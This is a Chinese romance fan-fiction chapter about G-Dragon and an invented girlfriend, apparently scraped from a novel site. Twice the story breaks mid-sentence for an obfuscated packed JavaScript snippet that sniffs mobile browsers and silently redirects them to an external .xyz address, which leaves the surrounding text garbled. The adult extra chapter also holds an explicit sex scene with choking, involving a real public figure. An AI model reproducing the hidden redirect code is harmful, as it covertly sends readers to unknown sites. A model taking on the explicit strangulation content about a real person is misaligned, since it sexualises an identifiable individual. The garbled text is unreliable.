“毕竟像你这样的人,人生在中学毕业那一刻就已经没有任何价值了。” 权至龙:“……说真的,你有点太毒舌了。” 还有,说就说凭什么把他也牵扯进来?他长得没那么高真是很抱歉了啊! 对此,李艺率只是板着脸冲权至龙轻哼一声,显然是还在记刚刚他拆台的仇。 眼见着崔妍智一副被气到冲上来准备动手的模样,她的同伴们急忙跟过来将她拉住。 开什么玩笑,这可是班主任的宝贝疙瘩,当着全班的面被拆了台还能和颜悦色,谁敢动手啊! 不过虽然避免了肢体冲突,但同伴的面子还是得维护。于是其中一名男生一边拉着崔妍智,一边硬着头皮开口:“你这个女人,怎么一点也不知羞?把喜欢之类的事情就这样随便说出来,脸皮也太厚了吧?!” 对此李艺率更是大为不解,困惑的眼睛成了一面澄澈的镜子:“被人喜欢,是什么很丢脸的事情吗?” 青春期的皮囊下掩藏着一个畸形的逻辑。 当男生们起哄“谁喜欢谁”时脸上促狭的笑,将喜欢变成一种公开处刑;当女生被当众告白后涨红脸说“别胡说”时的慌乱,仿佛心动是一种亟待销毁的罪证;当暗恋被揭穿后反而要装作厌恶,把爱慕者当成人生污点来维护自尊……坦诚承认心动的人,反倒成了异类。 可喜欢本应是温暖的证词。 能坦然接受爱意,却在这个时代成了一种许多人终其一生都学不会的天赋—— 但李艺率恰好不在此列。 她歪着头只是一副理所应当的模样看向权至龙:“像我这样长得漂亮,为人随和,性格又很nice的人,被人喜欢不是就和呼吸一样轻松吗?是吧,小权!” 权至龙:“…………”关于这一点他倒是没法否认。 虽然是可爱到很容易讨人喜欢没错,但你对自己的认知未免也太离谱了吧!除了长得漂亮以外剩下的条件和你压根沾不上边啊! 李艺率没理会权至龙无语到牙痒的沉默表情。 她歪着头打量着那位不知名的男生,继而又凑近笑着道:“就算是你偷偷暗恋我,我也不会因此感到羞愧。这不就恰好证明了我是超棒的人吗?” 她笑起来的模样实在叫人心动。 眼睛弯成月牙形状,眼底饱满可爱的肉团抖落着暖棕色的碎光,嘴角翘起的弧度像裹了蜜糖的玻璃突然开裂,甜味扎得人心尖发痒。 不知名的同班男生:“………………” 在大家的注视下,在李艺率凑近的笑脸攻击下,可怜的校霸同学仿佛被那笑容烫到了心尖,脸颊泛起微红,眼神不由自主地闪躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068741|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴角不自在地抽动,最终只憋出一声无力的轻咳。 同伴们:“…………” 权至龙:“…………” 不是哥们?!这么低攻低防你出来当什么校霸啊?回家好不好! * 有关喜欢的话题在课后的钢琴辅导时又被提起。 权至龙:“她们之前说的事情,你……就没有一点想法吗?” 李艺率疑惑:“什么想法——哦!你喜欢我这件事啊?这我早就知道了啊!” 权至龙闻言大惊:“莫?什、什么我喜欢你……呀,你别乱说啊!” 李艺率:“干嘛要这么大反应啊?!”她耸了耸肩,像是真情实感为权至龙红着脸的局促而疑惑,“我也很喜欢你啊,不然我们为什么要做好朋友?” 权至龙:“……哦。” 差点忘了,在西方人的语境中,喜欢和爱并不是像东亚这样吝啬表达的词汇,且可以用这个词代指许多复杂情感。 他的心还在突突直跳,怀抱着自己也不知道失落些什么的复杂情绪对李艺率解释:“你这样说话很容易让人误会的。” “wei?”李艺率挑眉:“我每次和哥哥说的时候他就很高兴啊,你难道不喜欢这样吗?” 权至龙:“…………” 他没有直接给出回答,但不可否认,听到她说喜欢的时候嘴角也确实很难压制住微妙上扬的弧度。 顺着这个话题进行引申,作为班里唯一的好朋友,李艺率对权至龙故意隐瞒恋情这件事情表达出了十足的气愤。 权至龙:“……拜托!我天天不是在公司就是和你呆在一起,我还哪有什么时间发展恋情啊?!” 嗯……这倒也是。 李艺率叉着胸沉吟片刻,像小权这种容陷爱的敏感型人格搭配他漏风的嘴,真要谈了恋爱肯定敲锣打鼓第一个告知她了。 这么想着,李艺率又追问道:“那你之前是在暗恋咯?J小姐是谁啊!” 他们同一批出生的孩子,女孩子的名字大多都是秀晶(Su-jeong)、静熙(Jeong-hee)、智妍(Ji-yeon)之类名字,在大街上喊一句J小姐起码能有三五个人会回头,除了知道是他们的同级生以外,搜索范围实在过大。 权至龙无奈:“你别乱猜,人家有男朋友了。” 李艺率:“哦莫,所以说之前的歌词……” 什么我轻烟一样消散的爱情、什么别再管我,和他幸福,原来真是和日记本性质差不多的真情流露啊。 权至龙:“………………” 死去的尴尬记忆又开始攻击他,权至龙手脚蜷缩,眼角抽搐。 有关J小姐的心动来得很突然。 或许是教学楼走廊的一次擦肩而过,又或是在路过她的班级时的匆匆一瞥,少年的感性总是来得这样匆忙。 他也尝试过和对方主动搭话,在得知对方已经有了交往对象以后也品尝到了不甘心的滋味,歌词本上那些酸涩的句子倒也算得上最真实的内心写照。 不过或许是他容陷爱的体质作祟,抑或是这个学期开学以来和李艺率的交集太过于紧密,他已经忙到很少再回忆起当时的悸动了。 ……但这种事情他怎么能对着无知无觉的李艺率坦白呢?轻易地心动,轻易地写下痛苦的真心,又轻易地在与朋友度过快乐时光的间隙将心动抛掷脑后…………未免、未免也太轻浮了些。 权至龙抿了抿唇,眼神闪烁,最终只是轻叹一声,“总之这样会给对方带来困扰的。” 李艺率表情严肃:“这不是你的初恋吗?不能这么轻易放弃!”她想起电视剧里常见的戏码,试探性提议,“这个年纪的爱情大多都经不起考验,你说……多少钱能让她的男朋友主动离开她?” 权至龙:“…………” 不要自顾自把电视剧的桥段代入现实好不好?!你这家伙给我清醒一点啊!! 废了好大劲终于打消了李艺率离谱到堪称是荒唐的念头,权至龙松了一口气,而作为被制裁的对象,李艺率也松了一口气。 李艺率:“也不知道是为什么,总之听见你说现在不想谈恋爱,我就突然有点开心欸!” 权至龙:“…………” 闻言,他像是被烫到了一般,整个身体差点从琴凳上弹了起来,仓皇地假装很忙的模样翻看着琴谱,低着头假装费力地整理书本边缘的小褶皱。脸颊发烫,嘴巴几度开合,最终只结结巴巴地挤出一句:“为、为什么……?” “hmm……”李艺率支着下巴歪头思考:“总感觉……好像被你给比下去了啊。” 说着李艺率皱着脸嘁了一声:“一想到你比我更讨人喜欢我就觉得生气,明明只是区区小权!” 权至龙:“…………” 权至龙:“呀,李艺率!你最近对我真的是越来越过分了啊!还有,不许嘁我!!” 20.灿烂的二十代[番外] “结婚?可以啊。” 这是李艺率趴在浴缸边缘,听着在她身后搂着她,不知道陷入了哪一种贤者模式下突然开口求婚的权至龙,给出的不假思索地回答。 事情要从几个小时前说起。 为期八个月的巡演在最后一站京瓷巨蛋的璀璨灯光中落下帷幕,bigbang成员们终于从14年全年连轴转的死亡巡演行程中解脱出来。 草草吃过一餐庆功宴,香槟杯上的泡沫还未散尽,权至龙便婉拒了团队续摊的邀约,他拿出手机查看起最近的航班,马不停蹄地赶往机场。 从关西机场抵达仁川机场已经接近凌晨四点,汉江的夜色却还未真正沉睡。 推开家门,玄关的感应灯应声而亮。权至龙甩开沾着夜色湿气的皮鞋,赤脚踩在大理石地面上,霓虹灯光从落地窗斜斜地切进来,将客厅分割成明暗交界的几何图形。 从衣帽间拿出换洗睡衣,权至龙另一只手提溜着室内拖鞋,径直走向客房的浴室。热水蒸腾起雾气,水流从头皮划过面颊,仿佛多日的疲惫也随之冲刷殆尽。 浴室灯光将他的皮肤熏得滚烫,水珠顺着轮廓滑落,这样一个前所未有的宁静时刻,他的耳边却依然回荡着十万人欢呼尖叫的残响,仿佛闭上眼睛就会跌落回那个声浪滔天的舞台。 室内的新风系统低鸣着运转,空气中弥漫着淡淡玫瑰混合雪松的香气,他轻手轻脚地走向卧室,生怕惊扰了这个家里另一位主人的好梦。 房间内的暖黄色小夜灯安静地亮着。 他的小玫瑰蜷缩着陷在柔软的床榻上,发丝蜿蜒着在枕间铺开一层鸦青色的轻纱。她侧卧着,脸颊被压出肉鼓鼓的弧线,睫毛在暖黄的夜灯下投出细密的阴影,手松松地握着被角,像是连在睡梦中也要抓住什么才肯安心。 权至龙站在床边,静静看了许久。 分别几个月,他看着无数个陌生的天花板醒来,也是直到此刻,他被一种近乎疼痛的温柔击中,才后知后觉的体味到一种难以言喻的归宿感。 从床头柜拿出真丝发圈,他小心翼翼地收拢她披散的长发,动作轻柔地将她的发丝束起,这才掀开被子一角,轻缓地躺下。 床垫微微下陷,权至龙伸出手,轻轻环住她的腰,将她往自己怀里带了带,李艺率像感知到热源的猫,下意识朝着他的体温靠近,却没有醒来。 汉江的夜景仍像被人撒了一把碎钻般不停闪烁,首尔的黎明却已经在天际线上缓缓酝酿,在这样日与夜交替对峙着上升的时间里,权至龙嗅着溢满鼻尖的充盈香气,连日紧绷的神经也终于一点点松弛下来,归于沉寂。 * 权至龙醒来时发现李艺率缩在他的怀里,像是打量着什么新奇人物一般盯着他的轮廓,眼睛亮晶晶的。 他失笑着环抱她的腰将她搂得更紧了一些,声音微哑:“为什么要用这种眼神看我?才几个月没见不至于这样吧。” 李艺率:“我昨天晚上迷迷糊糊梦到你回家了,结果一睁眼——”她眼睛弯弯地,伸出手搂在他的颈间以用一种极为夸张的语气感叹:“难怪恋综上说要经常给另一半带去惊喜爱情才能保持新鲜感啊!” 权至龙:“……呀,你说的应该是我的台词啊!” 他拿下巴蹭她的脸,用新冒出来的胡茬报复这个明明坐享其成却还摆出一副‘这一切都是我的功劳’的坏蛋。李艺率笑着闪躲,搂在他颈间的手却没有放开,反而像八爪鱼似的用腿扒着他的腰,被权至龙一把撂下,压着轻吻。 他太喜欢这样了。 严严实实地罩着她,嘴唇贴着她的皮肤烙印下属于自己的印记,肆意地侵占,在混乱的呼吸中交换一个潮湿的吻。 几个月没做,身体却仿佛认路一般找到了归属地。 李艺率哀哀轻哼着,大事不妙,全部被她吃进来了。她眼尾泛红,气息紊乱地攀附着他,发出急促而又惹人疼爱地低吟,含糊不清地说,小权我痛,你疼疼我吧。 关于这件事他们早就有过默契。 在最开始知道李艺率患病以后的很长一段时间里,权至龙都是心怀罪恶感的。直到那一次李艺率坐在他身上,抓着他的手游走过每一寸皮肤—— [这里疼,这里疼,这个地方也疼……] [感受痛苦其实更像一种残忍的天赋。与其叫我忍受漫长的煎熬,不如沉沦在你带给我的疼痛中去。] [小权,来做我的共犯吧。] 于是从此禁忌便成为了助兴的燃剂,烧得愈发酣畅炽烈。 “忍着。” 他的眼神深邃,心里阴暗到难以见光的一面被她勾出来,手覆在她的颈间慢慢收紧,又凑过去用犬齿叼住嘴唇细细研转,深陷在殷红的唇肉里厮磨,看着她在他掌下轻颤,眼波迷离。 “爱我吗?” 轻微的窒息感让李艺率的大脑浑浑噩噩,只一味地本能点头。 他的吻贴着她的皮肤,落在她的眼尾,嘴唇,声音低低地哄她,问她还好吗。 不知道,好像早就已经不太好了。 但是冲破临界值以后好像又会继续被冲破。 她双眼迷离,无声做了一个口型,然后伸出舌尖索吻。 权至龙的呼吸在一瞬变得粗重,他捂住那双泛着迷离水光的暖棕色深湖,恶狠狠地默念了一句脏话。 理智崩溃,身体彻底降服,她被吻扼住声带。 求饶没有用,眼泪好像也要流干了,只剩下混沌的烈火灼烧,她在疼痛里失去知觉,被打下属于他的烙印—— 爱将彼此紧紧粘合,就算是折磨也好过这世上的一切。 * 直到被人迷迷糊糊放到浴缸里,李艺率的意识还是飘忽的。 这种时候的她总是很有诱惑力。 眼皮微阖,双目涣散,懒洋洋地卧在浴缸的边缘,脸颊嘴唇连带着皮肤都被熏得微微泛红,迷离与脆弱交织着,在水汽氤氲中显得格外楚楚动人。 一股没由来的幸福与若即若离的惆怅忽然塞满了权至龙的心,他的手抚过李艺率颈后的皮肤,下意识将心底的声音脱口而出—— “艺率啊,我们结婚吧?” 水波晃动的弧度突然停滞片刻。 “结婚?可以啊。” 李艺率的声音带着慵懒,轻飘飘地浮在雾气里。她没有回头,只是向后靠了靠,让发顶蹭过他的下巴,给出了不假思索的回答。 其实权至龙在将话脱口而出的时候就已经后悔了。明年还要准备组合的回归,top入伍前的全球巡演也在计划中……包括他个人的solo回归和巡演计划都已经被提上了日程,这两年怎么看都不是一个好的时机。 这样一个荒唐的时间,没有烛光和鲜花如同儿戏一样的场景下,她这样没有一丝犹豫的声音反倒将他的举动衬托得格外轻率。 他沉默地蠕动嘴唇,心里愈发愧疚。 见身后半天没传来动静,李艺率转过头,眼神里只有最清澈的疑惑:“又不想结了吗?” “抱歉……” 他垂下眼睑,闪躲着那枚澄澈的镜子。 “哦。”李艺率点点头,脸上没有丝毫失落,甚至还安慰地拍了拍他的肩膀道,“那等你下次想结婚了再告诉我吧。” 权至龙:“你……不生气吗?” 李艺率:“为什么要生气?反正我们以后都会一直在一起啊。” 她这种理所应当的态度反倒叫权至龙的心更加酸胀了。 从16岁相识至今,他们以朋友和爱人的身份陪伴彼此走过将近一半的人生跨度。 在李艺率看来,这种稳定的关系已经超脱了形式意义上的束缚,分开的代价更是远比想象中的还要血肉模糊。与其因为权至龙贤者模式下感性占领高地的一句随口求婚而闷闷不乐,倒不如趁此机会好好作弄一下他。 区区小权,竟敢在这样的场合下就随随便便开口求婚,还把不把老大的面子放在眼里了?! 趁着权至龙表情凝重地陷入自责愧疚中时,李艺率轻拍水面掬起一捧水将他的头发淋了个半透。 “呀,李艺率!” 见她还要伸手偷袭他腰间的软肉,权至龙在她一连串甜泡似的笑声中一把抓过她的手,将她抵在浴缸边缘背对着他。 嘴唇轻触她的耳垂,湿热的气息在耳旁氤氲,他的声音暗哑,带着危险又迷人的音色。 “我们艺率笑得很开心嘛。” “别急,一会就让你哭出来。” 水面又在晃动,从细密的波纹到激烈的涟漪,继而演变成汹涌的起伏。 李艺率挣扎着激起一阵亮银色的水花,又被权至龙扣住手腕,发出类似涨潮时浪头拍打礁石的闷响。 ** 连着在家吸了几天的猫,权至龙总算是将连日里的疲惫一扫而空。 而作为被吸的猫本人,李艺率显然已经有些生无可恋。 就像现在,她捧着电子书看漫画,整个人还要被权至龙像个巨型手办一样圈在怀里——而权至龙本人,既不当网瘾青年,手又闲不住地乱动,他将她整个人嵌在怀里斜靠在沙发上,一会摸摸她的手放在嘴边亲两口,一会又凑上去闻闻她的头发,把脸埋在她的颈间呼哧呼哧地吐息着湿热。 他的脸上挂着类似于猫奴把脸埋在猫肚子上深吸一口气的梦幻(猥琐)表情,电视屏幕上放的热门综艺也变成了无人问津的背景音乐。 就在她即将忍无可忍之际,权至龙的手机信息铃声响起,公司晚上包场庆功,邀约晚上CLUB小聚,可以携伴。 权至龙瞥了李艺率一眼,不太想应下来。 李艺率:“去呗。” 在家里她就逃不过被吸的命运,不如放出去溜达一圈消耗消耗多余的精力。 权至龙:“……这才几天就嫌我烦了吗?!” 李艺率眼神飘忽:“…………” 权至龙:“李艺率,你躲什么?看着我的眼睛!” 李艺率:“…………” 她叹了一口气:“那我和你一块去。” 到了公共场合他总不至于光明正大地吸猫了吧! 这下倒是让权至龙进退两难了。 虽然这两年通过多管齐下的治疗,让李艺率的身体维持在了一个较为稳固的平衡点,从理论上来说不需要保持像高中时那样绝对严苛的生活水平。但作为对声光尤其敏感的患者,像Club这样的环境还是尽量避免为好。 见权至龙神色犹豫,李艺率便轻拍他的手臂撒娇:“我要去的,我也想和你呆在一块。” 权至龙几番权衡利弊,最终无奈叹气,眼神却柔软下来,“那就去吧,我们稍微玩一会就回家。” * 二十代的权至龙是意气风发的代名词。 这个时期的他骨相已然长开,褪去了李艺率记忆中的青涩,轮廓愈发硬挺深邃,在演艺圈多年的磨砺和红气的浸润下,眉宇间的锐利燃烧着骄傲外放的野火。 车在狎鸥亭的一家高级CLUB门前停下。 权至龙下车刻意地转动两下脖子,板着脸挑挑眉拗出顶级玩咖的造型,将车钥匙留给泊车小弟请他帮忙停车,转头就看见了李艺率复杂的眼神。 权至龙:“……wei?” 李艺率:“……你不冷吗?” 即使是十二月首尔零下的天气,权至龙依旧是皮衣破洞裤,刚一下车就是一副浑身刺挠的姿态甩着手脚,走出十足的Bking气质,叫李艺率一时也有些分不清他究竟是装的还是冻的。 权至龙闻言歪着嘴角,大拇指擦过鼻尖冲她挑了挑眉,学着她惯有的语气颇有些意味深长地开口道,“啧、啧、啧~艺率啊,这叫艺人的必要风度啊。” 权至龙:“在家里我是小权,出了门大家都管我叫GDxi。” 李艺率:“…………” 她眼神复杂,好半天才憋出一句:“好的小权,要注意预防关节炎。” 权至龙:“…………” 你甚至不愿称呼我一句GDxi! 进入俱乐部,他环着李艺率穿过光影交错的走廊。 VIP区的氛围被刻意调暗,镭射光束穿透香槟塔升腾的雾气,在空气中划出几道迷离的光轨,水晶杯折射的碎光随着震耳欲聋的低音节奏在真皮沙发上震颤跳跃。 李艺率被权至龙紧贴着,关切的眼神落在她脸上,仿佛只要她稍微皱皱眉就会当即转身带她离开。 李艺率:“……也没必要紧张到这种地步吧,在台上管弦乐队的动静和现在也差不多。” 见她确定没什么异常,权至龙这才稍稍放松,轻抚着她的背揽着她去了熟悉的卡座。 他们两人到的时间已经算晚,此时团里的其他成员已经主动出去社交,只剩下性格稍微内向些的永裴和大声还留在卡座上,和2ne1的成员们聊天。 也不知道是聊起了什么,转头见权李两人相携而来,大家的表情凝固了一瞬又齐齐露出有些尴尬的微妙表情。 李艺率严肃地凑到权至龙耳边大声嘀咕:“小权,你的朋友们刚刚绝对是在讨论我们。” 俱乐部的氛围实在嘈杂,权至龙闻言也严肃一点头大声嘀咕,压根不考虑在场几人听见的心情:“哦,马甲,看他们尴尬的表情我一点都不意外,绝对是一眼就能被人看出来心虚的程度。” 永裴等人:“………………” 事实也的确如他们所说,当然永裴等人讨论的话题也不过是大家向永裴八卦权李两人在高中时期的见闻,转头就看见权至龙一只手拎着李艺率的羊绒外套,另一只手揽着李艺率姿态亲密地朝他们走来,怎么看都是一副被当场抓包的心虚。 李艺率今晚穿的是一件剪裁感十足的衬衫搭配垂坠得体的高腰裤,勾勒出纤细的身材线条,贝母袖扣闪烁着温润的光泽,通身富家千金的矜贵气派和气定神闲的松弛感。哪怕是在纸醉金迷声色犬马的夜店,哪怕是被皮衣破洞裤俨然小混混模样的权至龙搂在怀里,也显露出十足的出尘气质。 再一联想到她不同于演艺圈艺人的艺术家身份—— 众人:“…………” 越看越觉得像是被小混混的甜言蜜语就简简单单拐走的单纯富家女了啊喂! 可惜权至龙没有读心术,在迷离的灯光下也看不出几人脸上的痛心疾首。大约是很少有机会能这么直接地把李艺率带到朋友们面前炫耀,此时他龇着两排大牙美得正有些冒泡。 他殷勤地带着李艺率坐下,先是从李艺率斜挎的包里拿出湿巾给她擦手,又帮她把她面前这一块区域地桌子拿消毒湿巾擦拭了一遍,接着再丢给永裴一个眼神拜托他帮忙看顾,乐颠颠地跑去吧台帮李艺率弄点她能喝的饮料。 几人看完权至龙这套堪称保姆级的熟练动作,已然目瞪口呆。 性格外向的E人彩林先前有和李艺率有见过几次,她看着权至龙离开的背影,忍不住凑到李艺率的耳边神情复杂地发出了疑问:“欧尼,是因为这个原因才和至龙欧巴交往的吗?” “阿尼哟,”李艺率轻轻摇头,将手慢条斯理地擦了一遍才将湿巾叠好扔进垃圾桶,“没交往之前他也一直都是现在这样啊。” 彩琳等人:“…………” 坏了,原来是真被这家伙给舔到了啊! 权至龙端着饮料回来的时候就对上了好几张神情复杂到微妙的表情,不过他也不甚在意,甚至颇有些美滋滋地想,大概是被他和李艺率之间的氛围感染到了,大家可能都对他玩世不恭外表下的体贴和细心给震惊到另眼相看了吧! 他带着得意的表情环视了一圈在座友人,眼角眉梢飞扬着的关种意味再明显不过。 权至龙:懂不懂什么叫做从校服到皮衣,十年稳定感情的含金量啊! 显然,此时大艺术家已经在脑中自动将漫长的追求过程和求而不得的阴湿男鬼形象美化升华成爱情必要的宿命感了。 众友人:“…………” 全程参与并见证两人十年荒唐长跑赛程的永裴:“………………” 呵呵,哥们,你这么深情,高中的时候一定就已经亲到李艺率的嘴了吧! * 强底噪的鼓点被切换成了迷离的蓝调布鲁斯,权至龙在摇摇晃晃的灯光中贴上了李艺率,两人不知道说了些什么,权至龙揽着李艺率贴着她的侧脸落下一连串轻吻。 很想当两人不存在又忍不住一直偷瞄的一众友人:“…………” 好在李艺率解救了正打算找借口逃跑的众人,她推了推权至龙说道:“刚刚不是有人和你打招呼吗?这段时间难得出来玩一趟,你就别光顾着管我了,去找你朋友们玩吧。” 开什么玩笑,再贴下去又要被粘着当众被当成猫吸了! 永裴和她比较熟的彩琳等人闻言也纷纷点头表示会陪着照看,这才将有些不情不愿的权至龙撵走。 此时在其他卡座社交的大哥拿着酒杯回来,神色有些迷离,看上去喝得不少,见李艺率板板正正地坐在卡座里,眼里闪过一丝意外,却仍是强行维持清醒同她礼貌点头打招呼。 李艺率被彩琳拉着换了个位置,坐到了永裴和彩琳中间,大声见状也极为有眼色地拿过刚刚权至龙丢在大理石卡座茶几上的消毒湿巾,学着权至龙之前的动作帮李艺率在新的区域擦拭一遍。 做完这一切才后知后觉反应过来的大声:“…………”是不是好像有哪里不对啊。 几人聊天的同时,Dora还不忘将放在她前面的坚果盘往李艺率的方向推了推,见她没动作,又用眼神示意彩琳。 手里莫名其妙被塞了一把坚果的李艺率:“…………” 长得漂亮的人做什么都大抵是好看的,而欣赏美则是出于一种生物意义上的本能。 几人聊天的同时心照不宣地偷偷瞥向李艺率,看着她慢条斯理的剥壳动作,看着她将坚果塞进嘴里认真咀嚼的模样,心底不由浮现出了莫名慈祥的心情。 一小把杏仁很快吃完,朴春又将摆在她前面碟子往李艺率的方向推了推:“要不要尝尝这个生火腿奶酪拼盘?” 李艺率皱眉摇头拒绝:“我吃不了那么咸的东西。” 哦莫,众人闻言纷纷转移目标。 敏智顺利接棒:“欧尼要不要吃水果,是今晚香槟套餐赠送的,蜜瓜很甜哦。” 在韩国的夜店一般不会提供餐食,只有在高档的俱乐部才会有类似生火腿、奶酪拼盘等下酒菜,像水果拼盘这类的奢侈玩意儿通常只有在顾客点了非常昂贵的酒水套餐以后才会吝啬附赠。 看着众人的好意,李艺率自认为非常体贴地让了一步:“总感觉被切开放了一会的水果会有怪味,我想吃鲜切的。” 众人:“…………” 你还真是不客气啊大小姐! 此时半眯着醉眼的大哥搭话:“呀,要是想使唤我们到这种程度的话最起码也要态度好点吧?比如说撒个娇什么的。” 其余人:“…………” 只是撒个娇就可以了吗?你这要求听起来也不怎么高嘛! 李艺率闻言却只是疑惑:“我不是在撒娇了吗?我说我想吃啊。” 众人:“………………” 原来电视剧里说得都是真的,大小姐的人生字典里只有要和不要两个词啊! 在场年龄最小的男士大声只好自告奋勇担任跑腿任务:“今天会社包场了的,吧台应该有,我去看一下吧。” * 权至龙从DJ台转了一圈正准备回到卡座时,远远见到原本三三两两坐着的几人在半个小时后就围成一团,气氛已经发生了堪称天崩地裂的变化。 被围在中心主角是戴着一次性手套拿着水果刀满脸写着无语分切着蜜瓜的永裴。 彩琳:“欧尼,你稍微离我近一点,万一不小心被刀伤到了怎么办。” 永裴:“没有万一!!我还不至于连把水果刀都拿不稳吧!” 大哥:“呀,切水果的时候不许说话!” 永裴:“…………” 朴春:“永裴啊,稍微再切得小块一点吧。” 敏智:“欧巴,辛苦了!” Dora:“艺率,给。” 李艺率接过Dora递来得水果叉轻咬一口,慢条斯理地咀嚼,对上凝固在她身上的目光,颔首将眼睛弯成月牙,像是缀着露水的玫瑰,嘴角勾起盛着蜜糖的弧度,“好甜呀。” 几人清咳一声转移视线,微微低下头努力抿唇压制住有些难绷的嘴角。 大声:“刚刚我看到吧台上还有草莓,再去拿一点过来吧。” 围观了全程的权至龙:“…………” 这是给他干哪来了?怎么就这么会功夫李艺率身边就多了仆人二三四五号? 呀,他才是李艺率最忠诚的仆人吧! ** 权至龙顾念着今晚李艺率在场,只喝了一点酒就提出告辞。 回去的路上是李艺率开的车。 权至龙侧目,见她坐在驾驶位神情专注,月光洒在她脸上、吻过她的发梢,将她的侧脸勾勒出柔和轮廓,心里涌现出一股复杂的热流。 年少时仰望的月光,如今只为了他而倾泻。 在这样的夜晚,在这样的月色下,他一眼不错地看着他的月亮,仿佛他半生跌跌撞撞的挣扎,也不过是为了能伸手触摸,稳稳接住这一份照耀。 想到这里,权至龙轻笑:“艺率呀,时间还早,我们停车在汉江边上散散步吧。” 闻言,李艺率一脸微妙:“你真的感觉不到冷吗?”明明是零下还穿着破洞裤的家伙! 权至龙:“…………” 我恨你竟然这样煞风景! 虽然这么说着,李艺率还是将车停在了汉江附近。 权至龙戴好口罩帽子下车,毫无防备地被冷冽空气集中面门,身体下意识地打了一个冷颤。 “嘁。” 李艺率毫不犹豫发出嘲笑的声音。 “呀!李艺率,都说了不准嘁我!”权至龙恼羞成怒冲她做出张牙舞爪的威胁姿态,可惜威慑力约等于零。 一路上两人都没有开口说话,只是沉默地行走着,静静地看着汉江的夜色在眼前铺展,偶尔掠过夜航的游船,在水面划出一道转瞬即逝的金色裂痕。 李艺率将权至龙的手抓住,放在了羊绒大衣的口袋里,掌心向上,轻轻扣住彼此的指尖,两人的手臂相贴,交换着体温,他闻到她身上淡淡的玫瑰香气,混合着冬夜特有的清冽。 他们的呼吸在空气中交织,化作转瞬即逝的白雾,又很快被江风吹散。 直到两人的体温逐渐融为一体,直到忘记时间的流逝,直到生出了已经相携着走到夜色尽头的错觉—— 汉江的夜色依旧深沉。 月光在此时恰好落在她的睫毛上,凝结成细小的光点。 我无暇的月光,我可爱的玫瑰…… 喉间泛起的甜味在舌尖被融化成叹息,再伶俐的人,也会在这样凝固的时间里变得笨口拙舌起来。 而恰好此时,李艺率也停下脚步,转身看向他。 暖棕色的瞳孔里还倒映着月色清凌凌的投影,她抬起手捧住他的脸,指尖轻轻拂过他冰凉的耳垂,隔着口罩贴上他的唇—— “pabo呀,这个时候只需要说‘我也爱你’就够了。” * 回到停车场的途中路过便利店,李艺率拉着权至龙进去买了两罐热饮,权至龙又挑了两款配料表相对干净的三明治作为夜宵。 这个时间段便利店已经没什么人了,权至龙干脆摘下口罩准备等二人吃完再回去。 还是照例拿消毒湿巾擦过桌面,又用棉柔湿巾帮李艺率仔仔细细擦过手,这才拆了加热好的三明治递给他。 等到扔完用过的湿巾回来,不出意外地看到了李艺率微微蹙眉一脸有被三明治里的烟熏牛肉咸到的表情。 “哦莫,这是怎么了?”权至龙就着她的手咬了一口,又笑到,“对我们艺率的口味来说是有点咸了,吃另外一个吧。” 说着又将撕开另一个蔬菜蛋三明治的包装递给她,和她手里的烟熏牛肉三明治做了交换,三两口解决后双手撑着下巴笑着看她慢吞吞地咀嚼。 “那个…………” 身后有声音响起,说话的是一个看上去个子不高、穿米白色羽绒服的年轻姑娘。她操着一口生疏的韩语询问:“请问是GD欧巴吗?” 这是碰到粉丝了。 权至龙立马起身微笑鞠躬:“内,您好。”并熟练完成了握手签名感谢支持等系列饭撒的动作。 姑娘脸颊红彤彤的,握手时伸出的手还在微微颤抖着,用不流利的韩语喊着欧巴,撒浪嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071636|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等词汇,看上去实在是很有些激动。 而当姑娘的目光划过李艺率时,就见她动作迅速的挪动了两个身位,一脸无辜路人的模样捧着三明治,然后状若无事地冲着姑娘竖起了大拇指,“有眼光!你的欧巴,我不认识!” 就差将此地无银三百两写在脸上了。 粉丝:“…………” 权至龙:“呀!” 他无奈地笑着,倒也没再说什么,反倒是对着那名粉丝细声细气解释道:“因为是私人行程所以不方便拍照,真的非常感谢您的支持。” 目送着粉丝姑娘离开,权至龙才转过头,舌尖擦过虎牙打了个闷响,低头凑近她似笑非笑道:“不认识?又在装模做样了是吧。” 李艺率:“……嘻嘻。” * 从便利店出来,一路上夜风轻拂,将街灯下的影子拖出蜿蜒的尾巴。 月光依旧静谧。 权至龙牵着李艺率的手,听到她犹豫的声音。 李艺率:“没关系吗?” 权至龙:“什么?”随即反应过来,笑道,“本来也没瞒过啊,我上综艺的时候偶尔也会提起,这件事情粉丝们应该都知道吧。” 见李艺率若有所思的表情,权至龙心里泛起一丝温柔,静静地等着她开口。 李艺率沉默许久:“小权,其实我偶尔也会觉得很对不起你。” 权至龙:“wei?因为粉丝吗?” 李艺率:“阿尼,不止是这个……” 仿佛这是一件让她十分难以启齿的事情,带着十分乃至九分的愧疚,她支支吾吾道,“我一直以为撒娇是靠着装可爱强迫别人给我想要的东西,直到今天晚上我才知道……” 李艺率晃了晃和权至龙牵着的手:“小权,一直以来真的辛苦你了啊。” 主要受害人之一权至龙:“………………” 十年了!你知道这十年我是怎么过来的吗?! ** 缺德论坛: ———— 【梦女们闹够了没】bot: 2014年12月7号 03:11 老公,我好恨你啊。 老公,你知道今天晚上看见你下车的时候有多开心吗? 明明只是想着碰碰运气,没想到真的在汉江遇见了你。 